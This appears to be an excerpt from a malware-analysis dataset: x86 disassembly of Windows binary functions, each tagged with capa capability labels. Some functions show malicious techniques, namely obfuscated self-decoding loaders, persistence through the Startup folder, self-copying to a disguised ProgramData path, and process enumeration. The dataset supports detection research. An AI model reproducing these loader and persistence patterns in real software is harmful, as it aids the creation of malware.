joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406451
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x238
mov eax, 0x40e9c3
call fcn.0040d3d4
mov dword [ebp - 0x21c], ecx
movzx eax, word [ebp + 8]
xor edi, edi
mov esi, dword [0x4166f0]
inc edi
push 0xf0
push eax
push esi
call dword [sym.imp.kernel32.dll_FindResourceW]
test eax, eax
je 0x4065c3
push eax
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
test eax, eax
je 0x4065c3
push eax
call dword [sym.imp.kernel32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4065c3
movzx eax, word [esi]
xor ecx, ecx
cmp cx, ax
je 0x4065c3
mov ecx, dword [esi + 4]
mov ebx, eax
movzx eax, word [esi + 2]
add esi, 8
mov dword [ebp - 0x220], ecx
mov ecx, 0x403
cmp cx, ax
jne 0x40653b
push 3
lea eax, [ebp - 0x110]
push esi
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x114], eax
call main
push dword [ebp - 0x114]
mov eax, dword [ebp - 0x21c]
and dword [ebp - 4], 0
push 0
push 0x143
push ebx
push dword [eax + 4]
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
xor ecx, ecx
cmp eax, 0xffffffff
lea eax, [ebp - 0x110]
cmove edi, ecx
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x114], eax
je 0x4065b1
push dword [ebp - 0x114]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
jmp 0x4065b1
mov ecx, 0x1234
cmp cx, ax
jne 0x4065b1
or dword [ebp - 0x240], 0xffffffff
lea eax, [ebp - 0x214]
push 3
push esi
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x244], 1
mov dword [ebp - 0x218], eax
call main
mov eax, dword [ebp - 0x218]
lea ecx, [ebp - 0x214]
mov dword [ebp - 0x23c], eax
cmp eax, ecx
je 0x40658e
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
lea eax, [ebp - 0x244]
push eax
mov eax, dword [ebp - 0x21c]
push 0
push 0x40b
push ebx
push dword [eax + 4]
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
cmp eax, 0xffffffff
je 0x4065c1
add esi, dword [ebp - 0x220]
test edi, edi
jne 0x4064a9
jmp 0x4065c3
xor edi, edi
mov eax, edi
call fcn.0040d38f
ret 4

Function at 0x40d82c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x40d83b
pop dword [ebp - 8]
mov eax, 0x8d95a76c
sub eax, 0x8d54cf31
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x3806c
push 0
mov eax, 0x69c495d8
add eax, 0x967c5ab8
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0x46aa
mov ebx, eax
mov edx, 0xdd208ca3
sub edx, 0xdcdee2a3
add edx, dword [ebp - 8]
mov edi, 0xf3850edd
sub dword [ebp - 4], 0xcfe4966d
mov esi, dword [edx]
add dword [ebp - 4], 0xe8e35c3b
sub esi, edi
xor dword [ebp - 4], edx
mov dword [ebx], esi
mov dword [ebp - 4], 0x30fef86a
add ebx, 0x26d5cd21
add ebx, 0xd92a32e3
add edx, 4
loop 0x40d88e
add eax, 0x10d7b
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xf1f942b
add ecx, 0xf1206bd5
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x401148
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, 0x4075d4
cmp dword [esi], 0
jne 0x40118e
push 0x644
push 0
call sub.KERNEL32.DLL_TlsGetValue
mov ecx, eax
test ecx, ecx
jne 0x40116b
xor eax, eax
pop esi
pop ebx
ret
mov eax, dword [0x4075d0]
mov dword [ecx], eax
mov dword [0x4075d0], ecx
xor edx, edx
mov eax, edx
add eax, eax
lea eax, [ecx + eax*8 + 4]
mov ebx, dword [esi]
mov dword [eax], ebx
mov dword [esi], eax
inc edx
cmp edx, 0x64
jne 0x40117a
mov eax, dword [esi]
mov edx, dword [eax]
mov dword [esi], edx
pop esi
pop ebx
ret

Function at 0x402708
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x405010]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4027a0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402780
xor eax, eax
push ebp
push 0x402779
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4027bc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402780
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x405010]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x405010], ax
mov esp, ebp
pop ebp
ret
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x417786
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x417795
pop dword [ebp - 0x48]
mov eax, 0x28304685
add eax, 0xd8113110
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x26b0683f
add dword [ebp - 0x58], 0x27a1dd0c
mov dword [ebp - 0x54], 0x971fa0ad
add dword [ebp - 0x54], 0x9b13ab98
mov dword [ebp - 0x50], 0xca64ec2e
sub dword [ebp - 0x50], 0x7e18a800
mov dword [ebp - 0x4c], 0xa9efac3d
sub dword [ebp - 0x4c], 0xa9efac3d
lea eax, [ebp - 0x58]
push eax
mov eax, 0x95df2339
sub eax, 0x959cf2c5
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xf4369e57
add dword [ebp - 0x58], 0x803bcaff
mov dword [ebp - 0x54], 0x5445b3a6
add dword [ebp - 0x54], 0xed26adcf
mov dword [ebp - 0x50], 0xc732b043
sub dword [ebp - 0x50], 0x63c343d7
mov dword [ebp - 0x4c], 0x665824a0
add dword [ebp - 0x4c], 0x99a7db60
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x33486429
add eax, 0xccf9ccfb
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3e50a
push 0
call eax
mov ecx, 0xc5113a26
sub ecx, 0xc510f13f
xor edi, edi
add edi, eax
mov ebx, 0x54d9cc27
sub ebx, 0x54968827
add ebx, dword [ebp - 0x48]
mov esi, 0x42e97bca
add esi, 0xbcd47f3f
add dword [ebp - 0x44], esi
mov edx, dword [ebx]
xor dword [ebp - 0x24], eax
add edx, esi
mov dword [edi], edx
mov dword [ebp - 0x44], 0x2fb5a86f
add edi, 0xa2373604
sub edi, 0xa2373600
add ebx, 0x9eec481c
add ebx, 0x6113b7e8
loop 0x4178b9
add eax, 0xa4ff43c1
sub eax, 0xa4fe2d52
xor ebx, ebx
add ebx, eax
add eax, 0x5848eaf8
add eax, 0xa7b7150d
mov ecx, 0x764e46c3
add ecx, 0x89f1b93d
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x405a60
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [0x4691b4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
mov eax, dword [ebx]
cmp eax, dword [ebx + 4]
jne 0x405a8e
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004249b0
mov esp, ebp
pop ebp
ret
push esi
push edi
push 0
push 2
mov dword [ebp - 0x230], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
xor esi, esi
lea eax, [ebp - 0x230]
mov dword [ebp - 0x238], edi
push eax
push edi
mov dword [ebp - 0x234], esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x405b58
lea eax, [ebp - 0x230]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x405b58
nop
mov esi, dword [ebx]
mov edi, dword [ebx + 4]
cmp esi, edi
je 0x405b15
nop dword [eax]
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x405afa
mov eax, dword [esi]
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.004297b6
add esp, 8
test eax, eax
je 0x405b36
add esi, 0x18
cmp esi, edi
jne 0x405af0
mov esi, dword [ebp - 0x234]
mov edi, dword [ebp - 0x238]
lea eax, [ebp - 0x230]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x405ae0
jmp 0x405b58
push dword [ebp - 0x228]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov dword [ebp - 0x234], esi
test esi, esi
je 0x405b1b
mov edi, dword [ebp - 0x238]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004249b0
mov esp, ebp
pop ebp
ret

Function at 0x405b80
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x4691b4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0
push 2
mov ebx, ecx
mov dword [ebp - 0x230], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0x234], 0
lea eax, [ebp - 0x230]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x405c1c
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
lea eax, [ebp - 0x230]
push eax
push esi
call edi
cmp eax, 1
jne 0x405c1b
lea eax, [ebp - 0x20c]
push ebx
push eax
call fcn.004297b6
add esp, 8
test eax, eax
je 0x405c05
lea eax, [ebp - 0x230]
push eax
push esi
call edi
cmp eax, 1
je 0x405be0
jmp 0x405c1b
push dword [ebp - 0x228]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x234], eax
pop edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x234]
xor ecx, ebp
pop esi
pop ebx
call fcn.004249b0
mov esp, ebp
pop ebp
ret
Function at 0x406d20
Capabilities:
Create shortcut via ishelllink
Delete file
Extract resource via kernel32 functions
Get common file path
Get startup folder
Write file on windows
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x4691b4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 1
mov dword [ebp - 0x220], eax
mov edi, ecx
push 7
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x1f96
push 0x1f96
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x406e06
push ebx
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x406e06
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x21c], eax
test eax, eax
je 0x406e06
push ebx
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
lea eax, [ebp - 0x20c]
push str.exe.ico
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
test eax, eax
je 0x406e06
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x406e06
push 0
lea eax, [ebp - 0x210]
push eax
push ebx
push dword [ebp - 0x21c]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x406e06
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
lea eax, [ebp - 0x214]
push eax
push 0x4532e0
push 1
push 0
push 0x4532f0
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov esi, eax
test esi, esi
js 0x406ec8
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
test edi, edi
je 0x406e53
push edi
call esi
test eax, eax
jle 0x406e53
mov eax, dword [ebp - 0x214]
push edi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x50]
push str.link_description
call esi
test eax, eax
jle 0x406e6f
mov eax, dword [ebp - 0x214]
push str.link_description
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0x214]
push 5
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x214]
lea edx, [ebp - 0x218]
push edx
push 0x464368
push ecx
mov eax, dword [ecx]
call dword [eax]
mov esi, eax
test esi, esi
js 0x406ebc
mov ecx, dword [ebp - 0x218]
push 1
push dword [ebp - 0x220]
mov eax, dword [ecx]
push ecx
call dword [eax + 0x18]
mov esi, eax
mov eax, dword [ebp - 0x218]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x214]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004249b0
mov esp, ebp
pop ebp
ret
Function at 0x406ef0
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x451910
mov eax, dword fs:[0]
push eax
sub esp, 0x2c4
mov eax, dword [0x4691b4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0xb8
lea eax, [ebp - 0x2d0]
push 0
push eax
call fcn.00425ee0
push 0x463904
lea ecx, [ebp - 0x2d0]
call fcn.00409d10
mov ecx, dword [ebp - 0x2d0]
mov eax, dword [ecx + 4]
mov eax, dword [ebp + eax - 0x2c4]
shr eax, 2
test al, 1
jne 0x406f93
push 0x104
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x40701f
push 0
push str.C:__ProgramData__MicrosoftNetwork__System.exe
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40701f
mov ecx, dword [ebp - 0x2d0]
mov eax, dword [ecx + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x2d0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x2d4], eax
lea ecx, [ebp - 0x2c0]
call fcn.00409c60
mov eax, dword [ebp - 0x2d0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x2d0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x2d4], eax
lea eax, [ebp - 0x260]
mov dword [ebp - 4], 2
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.004240c0
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004249b0
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x2d0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x2d0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x2d4], eax
lea ecx, [ebp - 0x2c0]
call fcn.00409c60
mov eax, dword [ebp - 0x2d0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x2d0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x2d4], eax
lea eax, [ebp - 0x260]
mov dword [ebp - 4], 1
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.004240c0
add esp, 4
xor eax, eax
jmp 0x407006
Function at 0x4095c0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], edi
test eax, eax
jg 0x4095f2
jl 0x4095e5
test ecx, ecx
jne 0x4095f2
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x4096b2
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], eax
mov ecx, ebx
call fcn.0040ac10
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x40965e
jg 0x40961d
test esi, esi
je 0x40965e
mov ecx, dword [esp + 0xc]
cmp ecx, eax
jg 0x409635
mov eax, dword [esp + 0x10]
jl 0x40962f
cmp eax, esi
jae 0x409635
mov esi, eax
mov dword [esp + 0x14], ecx
mov eax, dword [ebx + 0x1c]
push esi
push dword [eax]
push edi
call fcn.004260f0
mov eax, dword [ebx + 0x2c]
add esp, 0xc
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
sub ecx, esi
sbb edx, dword [esp + 0x14]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
jmp 0x40967f
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov edx, dword [esp + 0xc]
cmp eax, 0xffffffff
je 0x40969b
mov ecx, dword [esp + 0x10]
mov esi, 1
add ecx, 0xffffffff
mov byte [edi], al
adc edx, 0xffffffff
add edi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
test edx, edx
jg 0x409604
jl 0x40969b
test ecx, ecx
jne 0x409604
mov eax, dword [ebp + 0xc]
sub eax, dword [esp + 0x10]
mov ecx, dword [ebp + 0x10]
sbb ecx, edx
mov edx, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
lea esi, [ebx + 0x2c]
mov edi, ecx
mov edx, dword [eax]
test edx, edx
je 0x4096f6
mov eax, dword [esi]
mov eax, dword [eax]
test eax, eax
je 0x4096f6
mov edi, dword [esp + 0xc]
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push edx
push edi
call fcn.004260f0
mov eax, dword [ebx + 0x2c]
add edi, esi
mov dword [esp + 0x18], edi
add esp, 0xc
mov edi, dword [ebp + 0xc]
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
lea esi, [ebx + 0x2c]
cmp dword [ebx + 0x4c], 0
je 0x409767
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x40971c
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi]
mov dword [eax], edx
mov esi, dword [esp + 0xc]
cmp edi, 0xfff
jbe 0x409752
nop dword [eax + eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call fcn.0042b05d
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x409767
cmp edi, eax
ja 0x409730
test edi, edi
je 0x409767
push dword [ebx + 0x4c]
push edi
push 1
push esi
call fcn.0042b05d
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40aff0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x451bd0
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x4691b4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], eax
push 8
mov dword [ebp - 0x18], eax
mov dword [eax], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.00424bc0
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.00423e76
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp - 0x10]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
lea edi, [eax + 0x14]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov ebx, dword [ebp - 0x10]
mov dword [edi], 0
mov dword [edx], 0
mov dword [eax + 0x20], ecx
mov dword [ebx], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [ebx + 0x48], 0
mov byte [ebx + 0x3d], 0
mov ebx, dword [ebp - 0x14]
mov dword [eax + 0xc], ebx
mov ebx, dword [ebp - 0x10]
mov dword [eax + 0x2c], edx
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov eax, dword [ebp - 0x18]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov ecx, dword [0x46bd14]
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
mov edx, dword [0x46bd18]
mov dword [eax + 0x4c], 0
mov dword [eax + 0x40], ecx
mov dword [eax + 0x44], edx
mov dword [eax + 0x38], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x413800
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
xor edx, edx
push edi
xor edi, edi
bts edi, eax
cmp eax, 0x20
cmovae edx, edi
xor edi, edx
cmp eax, 0x40
mov eax, dword [esp + 0xc]
cmovae edx, edi
test eax, eax
js 0x41384c
push ebx
push esi
lea ebx, [esp + 0x14]
xor ecx, ecx
lea ebx, [ebx + 4]
bts ecx, eax
xor esi, esi
cmp eax, 0x20
cmovae esi, ecx
xor ecx, esi
cmp eax, 0x40
mov eax, dword [ebx]
cmovae esi, ecx
or edi, ecx
or edx, esi
test eax, eax
jns 0x413828
pop esi
pop ebx
mov eax, edi
pop edi
ret
Function at 0x418c70
Capabilities:
Hash data using djb2

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
xor esi, esi
mov ecx, 0x1505
test edi, edi
jne 0x418c86
pop edi
xor eax, eax
pop esi
ret
push ebx
mov bl, byte [edi]
test bl, bl
je 0x418cb0
nop dword [eax]
mov eax, ecx
lea edi, [edi + 1]
mov edx, esi
shld esi, ecx, 5
shl ecx, 5
add ecx, eax
movzx eax, bl
mov bl, byte [edi]
adc esi, edx
cdq
add ecx, eax
adc esi, edx
test bl, bl
jne 0x418c90
pop ebx
pop edi
mov eax, ecx
pop esi
ret

Function at 0x41bd40
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
sub esp, 0x10
cmp dword [esp + 0x24], 0
xorps xmm0, xmm0
movlpd qword [esp + 8], xmm0
jb 0x41be15
push ebp
mov ebp, dword [esp + 0x24]
ja 0x41bd66
test ebp, ebp
je 0x41be14
mov eax, dword [esp + 0x10]
push ebx
mov ebx, dword [esp + 0x1c]
push esi
mov esi, dword [esp + 0x14]
push edi
movzx ecx, word [ebx + 8]
mov edi, dword [esp + 0x28]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x2c]
mov al, byte [esi + eax]
test edi, edi
je 0x41bda2
movzx edx, cx
or edx, 2
mov ecx, edx
xor ecx, 1
imul ecx, edx
shr ecx, 8
xor al, cl
mov byte [esi + edi], al
mov byte [esp + 0x10], al
lea eax, [esp + 0x10]
push 1
push eax
mov eax, dword [ebx]
not eax
push eax
call fcn.0041cb70
not eax
mov dword [ebx], eax
movzx eax, al
add eax, dword [ebx + 4]
imul eax, eax, 0x8088405
push 1
inc eax
mov dword [ebx + 4], eax
shr eax, 0x18
mov byte [esp + 0x20], al
lea eax, [esp + 0x20]
push eax
mov eax, dword [ebx + 8]
not eax
push eax
call fcn.0041cb70
mov edx, dword [esp + 0x2c]
add esp, 0x18
add esi, 1
not eax
mov dword [ebx + 8], eax
adc edx, 0
movzx ecx, ax
mov dword [esp + 0x14], edx
cmp edx, dword [esp + 0x34]
jb 0x41bd81
ja 0x41be11
cmp esi, ebp
jb 0x41bd81
pop edi
pop esi
pop ebx
pop ebp
add esp, 0x10
ret
Function at 0x41be20
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg

Disassembly:
sub esp, 0x10
cmp dword [esp + 0x24], 0
xorps xmm0, xmm0
push esi
mov esi, dword [esp + 0x18]
movlpd qword [esp + 8], xmm0
jb 0x41bf8c
push ebp
mov ebp, dword [esp + 0x28]
ja 0x41be4b
test ebp, ebp
je 0x41bf8b
cmp dword [esp + 0x20], 0
push ebx
push edi
je 0x41bf18
mov eax, dword [esp + 0x18]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0x14], eax
nop dword [eax + eax]
mov ecx, dword [esp + 0x2c]
push 1
mov bl, byte [eax + ecx]
mov ax, word [esi + 8]
or ax, 2
mov byte [esp + 0x14], bl
movzx edi, ax
lea eax, [esp + 0x14]
push eax
mov eax, dword [esi]
not eax
push eax
call fcn.0041cb70
not eax
mov dword [esi], eax
movzx eax, al
add eax, dword [esi + 4]
imul eax, eax, 0x8088405
push 1
inc eax
mov dword [esi + 4], eax
shr eax, 0x18
mov byte [esp + 0x20], al
lea eax, [esp + 0x20]
push eax
mov eax, dword [esi + 8]
not eax
push eax
call fcn.0041cb70
mov edx, dword [esp + 0x40]
not eax
mov dword [esi + 8], eax
add esp, 0x18
mov eax, edi
mov ecx, edi
xor ecx, 1
imul ecx, eax
mov eax, dword [esp + 0x14]
shr ecx, 8
xor cl, bl
mov byte [eax + edx], cl
add eax, 1
mov ecx, dword [esp + 0x1c]
adc ecx, 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], ecx
cmp ecx, dword [esp + 0x34]
jb 0x41be70
ja 0x41bf89
cmp eax, ebp
jb 0x41be70
pop edi
pop ebx
pop ebp
pop esi
add esp, 0x10
ret
movlpd qword [esp + 0x14], xmm0
mov ebx, dword [esp + 0x18]
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 0x2c]
push 1
mov al, byte [edi + eax]
mov byte [esp + 0x14], al
lea eax, [esp + 0x14]
push eax
mov eax, dword [esi]
not eax
push eax
call fcn.0041cb70
not eax
mov dword [esi], eax
movzx eax, al
add eax, dword [esi + 4]
imul eax, eax, 0x8088405
push 1
inc eax
mov dword [esi + 4], eax
shr eax, 0x18
mov byte [esp + 0x20], al
lea eax, [esp + 0x20]
push eax
mov eax, dword [esi + 8]
not eax
push eax
call fcn.0041cb70
add esp, 0x18
not eax
add edi, 1
mov dword [esi + 8], eax
adc ebx, 0
cmp ebx, dword [esp + 0x34]
jb 0x41bf26
ja 0x41bf89
cmp edi, ebp
jb 0x41bf26
pop edi
pop ebx
pop ebp
pop esi
add esp, 0x10
ret

Function at 0x41c150
Capabilities:
Hash data via bcrypt

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x41c17f
cmp dword [esp + 0x10], 0
ja 0x41c17f
mov ecx, dword [esp + 0xc]
jb 0x41c16a
cmp ecx, 0xffffffff
ja 0x41c17f
push 0
push ecx
push dword [esp + 0x10]
push dword [eax + 4]
call sub.bcrypt.dll_BCryptHashData
test eax, eax
setns al
ret
xor al, al
ret

Function at 0x41c3f0
Capabilities:
Generate random numbers via winapi

Disassembly:
movzx eax, word [esp + 8]
push 2
push eax
push dword [esp + 0xc]
push 0
call sub.bcrypt.dll_BCryptGenRandom
test eax, eax
setns al
ret